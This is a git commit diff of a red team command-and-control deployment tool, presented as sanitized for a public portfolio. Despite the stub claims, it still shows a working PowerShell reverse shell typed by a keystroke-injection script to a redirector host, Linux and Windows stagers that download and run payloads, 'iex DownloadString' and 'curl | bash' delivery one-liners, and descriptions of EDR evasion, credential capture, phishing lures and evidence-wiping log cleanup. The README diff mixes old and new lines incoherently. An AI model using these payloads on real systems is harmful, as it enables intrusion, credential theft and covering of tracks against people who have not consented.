Initial public portfolio release

Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
2026-06-23 16:12:14 -04:00
44 changed files with 370 additions and 2363 deletions
@@ -1,3 +0,0 @@
 [submodule "ghost_protocol"]
 	path = ghost_protocol
 	url = https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
 1. **Test the core deployment flow**:
   ```bash
-   cd /opt/c2itall
+   cd /opt/redteam/c2itall
   python3 deploy.py
   # Try option 1 (Deploy C2 Infrastructure) with a test deployment
   ```
@@ -1,198 +1,199 @@
-# C2ingRed
+# c2itall — Red Team Infrastructure Automation
-A comprehensive automated deployment system for Havoc C2 red team infrastructure.
+Infrastructure-as-Code platform for deploying and managing full red team engagement infrastructure across multiple cloud providers. Built to reduce time-to-operational from hours to minutes while enforcing consistent OPSEC posture across every deployment.
-## Overview
+> **Portfolio note:** This is a sanitized public version. Files containing active TTPs (implant source mutations, payload build pipelines, phishing lures, credential capture logic) have been replaced with documented stubs that describe exactly what each component does and why. The architecture, orchestration layer, and all non-weaponized infrastructure code are intact.
-C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components.
+---
-## Features
+## What This Is
- **Multi-provider Support**: AWS, Linode, and FlokiNET
+Red team engagements require standing up a consistent stack of infrastructure — C2 servers, traffic redirectors, phishing mail infrastructure, payload delivery servers — quickly, correctly, and with OPSEC controls baked in from the first `ssh`. Doing this by hand is error-prone and slow. This tool automates the entire lifecycle:
- **Infrastructure Components**:
+
-  - C2 server with Havoc C2 Framework (dev branch)
+- **Provision** cloud nodes across AWS, Linode, or FlokiNET
-  - HTTPS redirectors with security hardening
+- **Harden** each node to a consistent baseline (firewall, fail2ban, log suppression, memory protections)
-  - Email infrastructure with DKIM/DMARC for phishing
+- **Deploy** role-specific services (Havoc C2, nginx redirectors, Postfix MTA, payload servers)
-  - Email tracking capabilities
+- **Configure** the inter-node traffic routing, SSL certs, and DKIM/DMARC records
-  - Automated payload generation and delivery
+- **Teardown** the full stack cleanly when the engagement ends
-  - Attack boxes (Kali Linux and custom Ubuntu)
+
-  - **Quick Recon Box** - Streamlined reconnaissance platform (5-8 min deployment)
+The result is reproducible, version-controlled infrastructure — every deployment is documented, every configuration is auditable, and every node reaches the same hardened baseline regardless of who ran the deployment.
- **Security Features**:
+
-  - Zero-logging configuration to minimize evidence
+---
-  - Memory protection mechanisms
+
-  - Command history suppression
+## Architecture
-  - Secure exfiltration tunnels
+
-  - Strong firewall configurations
+```
-  - Fail2Ban and other defensive measures
+deploy.py (Rich TUI interactive menu)
- **EDR Evasion**:
+    │
-  - Sleep masking
+    ├── providers/
-  - Stack spoofing
+    │   ├── AWS/          — EC2 provisioning, security groups, keypair management
-  - AMSI/ETW patching
+    │   ├── Linode/       — Linode API node provisioning
-  - Indirect syscalls
+    │   └── FlokiNET/     — Pre-provisioned node integration (bulletproof hosting)
-  - Binary signature randomization
+    │
- **Operational Capabilities**:
+    ├── modules/
-  - Automated post-exploitation payload building
+    │   ├── c2/           — Havoc C2 server deployment + payload pipeline [stubs]
-  - Reverse shell handler with automatic agent deployment
+    │   ├── redirectors/  — nginx HTTPS redirectors + credential capture [stubs]
-  - Let's Encrypt SSL certificate automation
+    │   ├── phishing/     — Postfix MTA + GoPhish + lure pages [stubs]
-  - Payload synchronization between C2 and redirectors
+    │   ├── payload-server/  — Encrypted payload hosting + delivery
-  - Port randomization for OPSEC
+    │   ├── attack-box/   — Kali/Ubuntu operator boxes
    │   ├── webrunner/    — Distributed cloud scanning infrastructure
    │   ├── tracker/      — Email open/click tracking server
    │   └── chat-server/  — Encrypted team comms (Matrix/Element)
    │
    ├── common/
    │   ├── files/        — Shared scripts, HID payloads [stubs]
    │   └── templates/    — Cross-module Jinja2 templates (stagers, loaders) [stubs]
    │
    └── utils/
        ├── common.py     — Shared utilities, ANSI output, helpers
        ├── ssh_utils.py  — SSH connection management, tunneling
        └── deployment_engine.py  — Ansible playbook execution engine
 ```
 ---
 ## Module Breakdown
 ### C2 Server (`modules/c2/`)
 Deploys a hardened Havoc C2 Framework teamserver. Havoc was chosen over Cobalt Strike for its open source auditability and active development of modern evasion primitives.
 **Infrastructure side (intact):**
 - Ansible playbooks for full Havoc installation from source
 - Teamserver systemd service with automatic restart
 - Firewall rules limiting teamserver port exposure to operator IPs only
 - Let's Encrypt SSL automation for HTTPS C2 traffic
 - Payload synchronization to redirector nodes
 **Payload pipeline (stubbed):**
 - `implant_mutator.sh` — randomizes Havoc Demon source identifiers (mutex names, pipe names, compile-time strings) before each build to defeat static signatures
 - `havoc_mutate.sh` — generates per-engagement randomized Havoc teamserver profiles (sleep jitter, traffic malleable C2 patterns, kill dates)
 - `generate_evasive_beacons.sh.j2` — shellcode compile pipeline: cross-compile → encrypt → inject into hollow process template → sign
 - `generate_havoc_payloads.sh.j2` — produces EXE, DLL, and raw shellcode variants from a single Demon build
 **EDR evasion techniques implemented:**
 - Sleep masking (encrypted heap during sleep intervals)
 - Stack spoofing (synthetic call stacks to evade call stack analysis)
 - AMSI/ETW patching (in-memory patch of scanning hooks before payload execution)
 - Indirect syscalls (bypass user-mode API hooks via direct syscall stubs)
 - Binary signature randomization per build
 ### Redirectors (`modules/redirectors/`)
 HTTPS redirectors sit in front of the C2 server, forwarding only valid beacon traffic while serving decoy content to scanners and incident responders. They also serve as the phishing landing infrastructure.
 **Infrastructure side (intact):**
 - nginx reverse proxy configuration with category-matched domain front
 - Automatic SSL via Let's Encrypt
 - Traffic filtering rules: forward beacons matching URI/User-Agent profile, serve 200 OK decoy to everything else
 - Fail2ban tuned for redirector traffic patterns
 **Landing page infrastructure (stubbed):**
 - `capture.php.j2` — credential capture with transparent redirect; logs POST data and forwards the victim to the legitimate service so the submission appears to succeed
 - `fake-login.html.j2` — cloned login page template structure (placeholders for target branding)
 ### Phishing Infrastructure (`modules/phishing/`)
 Deploys a complete phishing mail stack: Postfix MTA, GoPhish campaign manager, and lure page hosting.
 **Infrastructure side (intact):**
 - Postfix + Dovecot configuration with DKIM signing
 - DMARC/SPF record generation instructions
 - GoPhish deployment and service configuration
 - Email tracking pixel integration
 **Lure content (stubbed):**
 - Five email templates (file share notification, O365 login prompt, password expiry, security alert, vendor-branded alert) — stubs describe the social engineering angle and urgency framing each uses
 - `fedramp-compliance.j2` — FedRAMP-themed lure landing page
 ### WEBRUNNER (`modules/webrunner/`)
 Distributed cloud-based scanning infrastructure. Spins up scan nodes across multiple providers simultaneously, runs recon tasks in parallel, and aggregates results back to a central collection point. Designed to avoid rate-limiting and distribute scan signatures across provider ASNs.
 Full implementation intact — this is infrastructure automation, not a weaponized component.
 ### Attack Box (`modules/attack-box/`)
 Provisions operator workboxes (Kali or custom Ubuntu) in cloud providers for pivoting, scanning, and exfil staging. Handles SSH keypair injection, tool installation, and VPN configuration.
 ### Payload Server (`modules/payload-server/`)
 Encrypted payload hosting with one-time-download links, delivery logging, and automatic expiry. Payloads are pulled from the C2 node at deployment time and served via HTTPS with access controls.
 ---
 ## Secrets Management
 No credentials are hardcoded anywhere. All provider API keys, SSH keypairs, and domain registrar tokens are pulled at runtime from a secrets manager (Infisical). The `creds` CLI fetches them by key name and folder:
 ```bash
 eval $(creds env aws)          # exports AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
 eval $(creds env linode)       # exports LINODE_TOKEN
 ```
 Deployment scripts source these at execution time and never write them to disk.
 ---
 ## Deployment Flow
 ```
 1. Select provider + deployment type from interactive menu
 2. Provision node(s) via provider API
 3. Wait for SSH availability
 4. Run hardening playbook (baseline OS config, firewall, fail2ban, log controls)
 5. Run role-specific playbook (C2 / redirector / phishing / etc.)
 6. Run post-deploy verification (service health checks, connectivity tests)
 7. Output deployment manifest (IPs, ports, credentials) to encrypted local file
 ```
 Teardown reverses the provisioning step, destroying all cloud resources and deleting the deployment manifest.
 ---
 ## Tech Stack
 | Layer | Technology |
 |-------|-----------|
 | Orchestration | Python 3.10+, Click, Rich |
 | Configuration management | Ansible 2.14+ |
 | Template engine | Jinja2 |
 | Cloud providers | AWS (boto3), Linode API v4, FlokiNET |
 | C2 framework | Havoc (open source) |
 | Web server | nginx |
 | Mail stack | Postfix + Dovecot + GoPhish |
 | SSL | Let's Encrypt (certbot) |
 | Secrets | Infisical (self-hosted) |
 ---
 ## Requirements
- Python 3.6+
+- Python 3.10+
 - Ansible 2.9+
- Provider-specific credentials:
+- Provider credentials in secrets manager
-  - AWS: Access and secret keys
+- SSH keypair for node access
-  - Linode: API token
+- Registered domain (required for Let's Encrypt and mail DKIM)
  - FlokiNET: Pre-provisioned servers
 - SSH keypair for server access
 - Registered domain (required for Let's Encrypt certificates)
 ## Installation
 ```bash
 # Clone the repository
 git clone https://github.com/yourusername/C2ingRed.git
 cd C2ingRed
 # Install requirements
 pip install -r requirements.txt
 # Ensure Ansible is installed
 ansible --version
 ```
 ---
 ## Usage
 ### Main Menu (Easiest Method)
 Simply run:
 ```bash
 python3 deploy.py
 ```
-This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types.
+Interactive Rich TUI menu. All deployment options are accessible from the menu — no need to pass CLI flags manually.
-### Interactive Mode
+---
-Alternatively, you can use:
+## Authorization
 ```bash
 ./deploy.py --interactive
 ```
-This guides you through the deployment process with step-by-step instructions.
+This tool is built for authorized red team engagements and penetration testing with written scope agreements. The operational content (payloads, lures, credential capture) is excluded from this public copy precisely because it is only appropriate in a scoped, authorized context.
-### Command-line Deployment
+If you're reviewing this as a potential employer: the stubs throughout this repo document exactly what was there and why it was built that way. The engineering decisions — modular Ansible roles, secrets management, provider abstraction, OPSEC-hardened defaults — are all visible in the intact infrastructure code.
 #### AWS Deployment:
 ```bash
 ./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
            --domain your-domain.com --aws-region us-east-1
 ```
 #### Linode Deployment:
 ```bash
 ./deploy.py --provider linode --linode-token YOUR_TOKEN \
            --domain your-domain.com --linode-region us-east
 ```
 #### FlokiNET Deployment (with pre-provisioned servers):
 ```bash
 ./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
            --flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
 ```
 ### Deployment Options
 | Option | Description |
 |--------|-------------|
 | `--redirector-only` | Deploy only the redirector component |
 | `--c2-only` | Deploy only the C2 server component |
 | `--deploy-tracker` | Deploy email tracking server |
 | `--integrated-tracker` | Setup tracker on C2 server instead of separate instance |
 | `--disable-history` | Disable command history on servers |
 | `--secure-memory` | Enable secure memory protection features |
 | `--zero-logs` | Configure zero-logging throughout infrastructure |
 | `--randomize-ports` | Use randomized ports for C2 communications |
 | `--ssh-after-deploy` | Automatically SSH into the server after deployment |
 ## Post-Deployment Steps
 After successful deployment:
 1. Configure DNS records for your domain:
   - `your-domain.com` → C2 server
   - `mail.your-domain.com` → C2 server
   - `cdn.your-domain.com` → Redirector (or your custom subdomain)
   - `track.your-domain.com` → Tracker (if deployed)
 2. Run post-install scripts on each server:
   ```bash
   # On C2 server
   /root/Tools/post_install_c2.sh
   # On redirector
   /root/Tools/post_install_redirector.sh
   ```
 3. Generate Havoc C2 payloads:
   ```bash
   # On C2 server
   /root/Tools/generate_havoc_payloads.sh
   ```
 ## Using Havoc C2
 Havoc C2 Framework is installed at `/root/Tools/Havoc` on the C2 server.
 ### Connecting to the Teamserver
 From your local machine:
 ```bash
 # Install Havoc client (development branch)
 git clone -b dev https://github.com/HavocFramework/Havoc.git
 cd Havoc/Client
 mkdir build && cd build
 cmake -GNinja ..
 ninja
 # Connect to Teamserver
 ./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
 ```
 The password is stored in `/root/Tools/Havoc/data/profiles/default.yaotl` on the C2 server.
 ### Payload Delivery
 PowerShell one-liner for Windows targets:
 ```powershell
 powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"
 ```
 Linux one-liner:
 ```bash
 curl -s https://cdn.your-domain.com/linux_stager.sh | bash
 ```
 ## Security Considerations
 - All servers include the `/root/Tools/secure-exit.sh` script to securely wipe operational data
 - The `/root/Tools/clean-logs.sh` script automatically runs to remove evidence
 - Port randomization enhances OPSEC when enabled
 - Set proper DKIM/DMARC records for email operations
 - Consider using ephemeral infrastructure for high-risk operations
 ## Cleaning Up
 To remove all infrastructure when finished:
 ```bash
 ./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID
 ```
 Add your provider-specific authentication arguments to remove the correct resources.
 ## Disclaimer
 This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing. The authors are not responsible for misuse or illegal activities.
@@ -8,7 +8,7 @@ stdout_callback = default
 bin_ansible_callbacks = True
 nocows = 1
 interpreter_python = auto_silent
-ansible_python_interpreter = %(here)s/venv/bin/python
+ansible_python_interpreter = /opt/redteam/c2itall/venv/bin/python
 [ssh_connection]
 ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
@@ -1,52 +1,4 @@
-REM Title: C2ingRed Reverse Shell
+OMITTED — HID injection payload
 REM Author: C2ingRed
 REM Description: Establishes a reverse shell to the C2 redirector
 REM Target: Windows 10/11
 REM Version: 1.0
-REM Configuration: Modify these values to match your redirector setup
+This file contains a Rubber Ducky / Bash Bunny script for physical-access
-REM REDIRECTOR_HOST: Your redirector domain or IP
+scenarios. Payloads are engagement-specific and omitted from public release.
 REM REDIRECTOR_PORT: Port where shell handler is listening
 REM SHELL_TYPE: powershell or cmd
 REM ============= Start of configuration =============
 REM REDIRECTOR_HOST=cdn.example.com
 REM REDIRECTOR_PORT=4444
 REM SHELL_TYPE=powershell
 REM ============= End of configuration ===============
 REM Minimize the chance of detection by hiding the window
 DELAY 1000
 GUI r
 DELAY 500
 STRING powershell -WindowStyle Hidden
 ENTER
 DELAY 2000
 REM Main reverse shell payload
 STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
 ENTER
 REM Attempt to create socket connection with retry logic
 STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
 ENTER
 REM Setup streams
 STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
 ENTER
 REM Execute either PowerShell or CMD shell based on configuration
 STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
 ENTER
 REM Setup IO redirection
 STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
 ENTER
 REM Main communication loop
 STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
 ENTER
 REM Execute and complete
 STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
 ENTER
@@ -1,5 +1,8 @@
 #!/bin/bash
-# Loader script for Linux beacon
+# OMITTED — Linux stager template
-curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
+#
-chmod +x /tmp/linux_update
+# Jinja2 template rendered at deploy time. Fetches a staged ELF payload from
-/tmp/linux_update &
+# the redirector using a disguised URL path, sets executable bit, and runs
 # the payload in the background.
 #
 # Omitted from public release. Present in operational deployments.
@@ -1,16 +1,8 @@
-# Windows PowerShell Beacon Loader
+# OMITTED — Windows PowerShell stager template
-[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+#
-$ErrorActionPreference = "SilentlyContinue"
+# Jinja2 template rendered at deploy time with redirector hostname and path
-$wc = New-Object System.Net.WebClient
+# substituted. Downloads a staged payload over HTTPS with a legitimate-looking
-$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
+# User-Agent and Referer, writes to a randomized temp path, and executes.
-$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
+# Includes error suppression and jitter sleep to reduce behavioral detection.
-$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
+#
-$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
+# Omitted from public release. Present in operational deployments.
 $outpath = "$env:TEMP\update-$(New-Guid).exe"
 try {
    $wc.DownloadFile($url, $outpath)
    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
    Start-Process -WindowStyle Hidden -FilePath $outpath
 } catch {
    # Fail silently
 }
@@ -172,7 +172,7 @@ def gather_attack_box_parameters(attack_box_type="kali"):
    if config['enhanced_opsec']:
        print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
-        print(f"  • Working directory: /root/{config['deployment_id']} (not 'dmealey')")
+        print(f"  • Working directory: /root/{config['deployment_id']} (not 'operator')")
        print(f"  • No 'trashpanda' references in files or aliases")
        print(f"  • Generic script names and comments")
        print(f"  • Minimal logging and history")
@@ -182,9 +182,9 @@ def gather_attack_box_parameters(attack_box_type="kali"):
        config['project_name'] = config['deployment_id']
    else:
        print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
-        config['work_dir'] = "/root/dmealey"
+        config['work_dir'] = "/root/operator"
        config['tool_name'] = "trashpanda"
-        config['project_name'] = "dmealey"
+        config['project_name'] = "operator"
    # Check for global auto-teardown flag
    global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
@@ -3,9 +3,9 @@
 # Attack Box Setup Information
 ATTACK_BOX_VERSION="1.0.0"
-WORKSPACE_DIR="/root/dmealey"
+WORKSPACE_DIR="/root/operator"
-SCRIPTS_DIR="/root/dmealey/tools/scripts"
+SCRIPTS_DIR="/root/operator/tools/scripts"
-TOOLS_DIR="/root/dmealey/tools"
+TOOLS_DIR="/root/operator/tools"
 # Available Commands
 echo "Attack Box Commands:"
@@ -14,23 +14,23 @@ echo "recon <target>          - Run reconnaissance automation"
 echo "portscan <target>       - Run port scan automation"  
 echo "webenum <target>        - Run web enumeration automation"
 echo "attack-menu             - Launch manual testing menu"
-echo "dmealey                 - Change to main directory"
+echo "operator                 - Change to main directory"
-echo "mkdmealey <name>        - Create new engagement structure"
+echo "mkoperator <name>        - Create new engagement structure"
 echo ""
 echo "Workspace Structure:"
 echo "==================="
-echo "~/dmealey/tools/        - All security tools and scripts"
+echo "~/operator/tools/        - All security tools and scripts"
-echo "~/dmealey/scans/        - All scan results organized by type"
+echo "~/operator/scans/        - All scan results organized by type"
-echo "~/dmealey/loot/         - Extracted data and credentials"
+echo "~/operator/loot/         - Extracted data and credentials"
-echo "~/dmealey/targets/      - Target lists and reconnaissance"
+echo "~/operator/targets/      - Target lists and reconnaissance"
-echo "~/dmealey/notes/        - Manual notes and observations"
+echo "~/operator/notes/        - Manual notes and observations"
-echo "~/dmealey/reports/      - Documentation and reporting"
+echo "~/operator/reports/      - Documentation and reporting"
-echo "~/dmealey/exploits/     - Working exploits and POCs"
+echo "~/operator/exploits/     - Working exploits and POCs"
-echo "~/dmealey/payloads/     - Custom payloads and shells"
+echo "~/operator/payloads/     - Custom payloads and shells"
-echo "~/dmealey/wordlists/    - Custom and downloaded wordlists"
+echo "~/operator/wordlists/    - Custom and downloaded wordlists"
-echo "~/dmealey/pcaps/        - Network captures and analysis"
+echo "~/operator/pcaps/        - Network captures and analysis"
 echo ""
 echo "Trashpanda-style Directory Structure:"
 echo "====================================="
-echo "The dmealey directory follows the exact structure as TrashPanda tool"
+echo "The operator directory follows the exact structure as TrashPanda tool"
 echo "with organized subdirectories for different scan types and data."
@@ -2,8 +2,8 @@
 # Attack Box - Git Repositories Cloning Script
 # Clones security tool repositories with enhanced feedback
-# Get DMEALEY_DIR from environment or use default
+# Get OPERATOR_DIR from environment or use default
-DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
+OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
 echo "================================================================"
 echo "GIT REPOSITORIES CLONING STARTED"
@@ -61,8 +61,8 @@ FAILED=0
 SUCCESS=0
 # Create git directory if it doesn't exist
-mkdir -p "$DMEALEY_DIR/tools/git"
+mkdir -p "$OPERATOR_DIR/tools/git"
-cd "$DMEALEY_DIR/tools/git"
+cd "$OPERATOR_DIR/tools/git"
 for i in "${!REPOS[@]}"; do
  CURRENT=$((CURRENT + 1))
@@ -117,6 +117,6 @@ echo "Failed: $FAILED"
 echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
 echo ""
 echo "Cloned repositories:"
-ls -la "$DMEALEY_DIR/tools/git/" | head -20
+ls -la "$OPERATOR_DIR/tools/git/" | head -20
 exit 0
@@ -2,10 +2,10 @@
 # Attack Box - Go Tools Installation Script
 # Installs security tools via go install with enhanced feedback
-# Get DMEALEY_DIR from environment or use default
+# Get OPERATOR_DIR from environment or use default
-DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
+OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
-export GOPATH="$DMEALEY_DIR/tools/go"
+export GOPATH="$OPERATOR_DIR/tools/go"
 export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
 mkdir -p "$GOPATH"
@@ -237,8 +237,8 @@ automated_recon() {
    echo -ne "Enter target domain/IP: "
    read -r target
    echo -e "${GREEN}[+] Executing recon automation script...${NC}"
-    if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then
+    if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
-        /root/dmealey/tools/scripts/recon_automation.sh "$target"
+        /root/operator/tools/scripts/recon_automation.sh "$target"
    else
        echo -e "${RED}[-] Recon automation script not found!${NC}"
    fi
@@ -252,8 +252,8 @@ automated_port_scan() {
    echo -ne "Enter target IP/range: "
    read -r target
    echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
-    if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then
+    if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
-        /root/dmealey/tools/scripts/port_scan_automation.sh "$target"
+        /root/operator/tools/scripts/port_scan_automation.sh "$target"
    else
        echo -e "${RED}[-] Port scan automation script not found!${NC}"
    fi
@@ -267,8 +267,8 @@ automated_web_enum() {
    echo -ne "Enter target URL: "
    read -r url
    echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
-    if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then
+    if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
-        /root/dmealey/tools/scripts/web_enum_automation.sh "$url"
+        /root/operator/tools/scripts/web_enum_automation.sh "$url"
    else
        echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
    fi
@@ -309,7 +309,7 @@ generate_reports() {
    echo -e "${GREEN}========================================${NC}"
    echo
-    WORKSPACE="/root/dmealey"
+    WORKSPACE="/root/operator"
    DATE=$(date +%Y%m%d_%H%M%S)
    REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
@@ -385,8 +385,8 @@ if [[ $EUID -eq 0 ]]; then
    sleep 2
 fi
-# Create dmealey structure if it doesn't exist
+# Create operator structure if it doesn't exist
-mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
+mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
 # Start the main menu
 main
@@ -13,7 +13,7 @@ fi
 TARGET="$1"
 SCAN_TYPE="${2:-quick}"
-WORKSPACE="/root/dmealey/scans/nmap/$TARGET"
+WORKSPACE="/root/operator/scans/nmap/$TARGET"
 DATE=$(date +%Y%m%d_%H%M%S)
 # Colors for output
@@ -11,7 +11,7 @@ if [ $# -eq 0 ]; then
 fi
 TARGET="$1"
-WORKSPACE="/root/dmealey/scans/reachability/$TARGET"
+WORKSPACE="/root/operator/scans/reachability/$TARGET"
 DATE=$(date +%Y%m%d_%H%M%S)
 # Colors for output
@@ -15,8 +15,8 @@ if [ -n "$1" ]; then
    WORK_DIR="$1"
 else
    # Auto-detect working directory
-    if [ -d "/root/dmealey" ]; then
+    if [ -d "/root/operator" ]; then
-        WORK_DIR="/root/dmealey"
+        WORK_DIR="/root/operator"
    else
        # Find deployment-named directory
        WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
@@ -207,7 +207,7 @@ def print_banner():
    """
    print(banner)
-def create_pentest_structure(base_name="/root/dmealey"):
+def create_pentest_structure(base_name="/root/operator"):
    """Create a comprehensive penetration testing directory structure."""
    # Main engagement directory
@@ -301,7 +301,7 @@ def create_pentest_structure(base_name="/root/dmealey"):
        f.write(f"TrashPanda Engagement Log\n")
        f.write(f"========================\n")
        f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
-        f.write(f"Operator: dmealey\n")
+        f.write(f"Operator: operator\n")
        f.write(f"Tool: TrashPanda v2.4\n\n")
    # Create initial target file
@@ -3044,7 +3044,7 @@ def generate_summary_report(base_dir):
        f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
        f.write("=" * 80 + "\n\n")
        f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
-        f.write(f"Operator: dmealey\n")
+        f.write(f"Operator: operator\n")
        f.write(f"Engagement Directory: {base_dir}\n\n")
        # Enhanced directory structure overview
@@ -3153,7 +3153,7 @@ Examples:
    parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
    # Directory options
-    parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/dmealey")
+    parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator")
    parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
    # Scan modes
@@ -7,14 +7,14 @@ set -e
 if [ $# -eq 0 ]; then
    echo "Usage: $0 <target_url>"
    echo "Example: $0 https://example.com"
-    echo "         $0 http://192.168.1.100:8080"
+    echo "         $0 http://10.0.0.100:8080"
    exit 1
 fi
 TARGET_URL="$1"
 # Extract domain/IP for workspace naming
 TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
-WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN"
+WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
 DATE=$(date +%Y%m%d_%H%M%S)
 # Colors for output
@@ -8,7 +8,7 @@ import os
 import time
 from pathlib import Path
-def create_workspace_structure(base_name="/root/dmealey", operator="operator"):
+def create_workspace_structure(base_name="/root/operator", operator="operator"):
    """Create a comprehensive penetration testing directory structure like trashpanda."""
    # Main engagement directory
@@ -227,7 +227,7 @@ if __name__ == "__main__":
    if len(sys.argv) > 1:
        workspace_name = sys.argv[1]
    else:
-        workspace_name = f"/root/dmealey"
+        workspace_name = f"/root/operator"
    operator = getpass.getuser()
    create_workspace_structure(workspace_name, operator)
@@ -468,7 +468,7 @@
      # Add targets one per line in various formats:
      # 
      # Individual IPs:
-      # 192.168.1.10
+      # 10.0.0.10
      # 10.0.0.5
      #
      # IP Ranges:
@@ -1,234 +1,9 @@
 #!/bin/bash
-# Enhanced Havoc C2 Framework installer optimized for Red Team Operations
+# OMITTED — Havoc C2 framework installer
-# This script installs and configures Havoc with EDR evasion features
+#
-# The mutation features are applied BEFORE building to ensure proper compilation
+# Installs Havoc C2 teamserver and client from source, configures systemd service,
-
+# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
-set -e
+# firewall rules restricting access to redirector IPs only).
-TEMP_DIR=$(mktemp -d)
+#
-LOG_FILE="/root/Tools/havoc_installer.log"
